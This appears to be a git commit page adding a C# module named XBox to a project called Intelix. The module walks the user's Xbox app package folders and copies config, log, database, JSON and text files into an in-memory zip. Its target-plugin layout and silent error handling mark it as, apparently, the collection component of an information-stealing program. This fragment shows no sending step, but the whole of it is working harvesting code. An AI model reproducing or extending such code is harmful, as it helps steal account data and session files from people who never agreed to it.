initial commit
This commit is contained in:
@@ -0,0 +1,53 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Games;
|
||||
|
||||
public class XBox : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Packages");
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string[] directories = Directory.GetDirectories(path, "Microsoft.Xbox*", SearchOption.TopDirectoryOnly);
|
||||
if (directories == null || directories.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
string[] source = new string[9] { ".ini", ".cfg", ".json", ".xml", ".log", ".dat", ".db", ".yaml", ".txt" };
|
||||
string[] array = directories;
|
||||
foreach (string text in array)
|
||||
{
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Xbox";
|
||||
string[] files = Directory.GetFiles(text, "*.*", SearchOption.AllDirectories);
|
||||
foreach (string text2 in files)
|
||||
{
|
||||
try
|
||||
{
|
||||
FileInfo fileInfo = new FileInfo(text2);
|
||||
if (fileInfo.Length < 10000000 && source.Contains(fileInfo.Extension.ToLower()))
|
||||
{
|
||||
string path2 = text2.Substring(text.Length).TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
|
||||
string text3 = Path.Combine("Xbox", Path.GetFileName(text), path2).Replace('\\', '/');
|
||||
zip.AddFile(text3, File.ReadAllBytes(fileInfo.FullName));
|
||||
counterApplications.Files.Add(fileInfo.FullName + " => " + text3);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counterApplications.Files.Add("Xbox\\");
|
||||
counter.Games.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user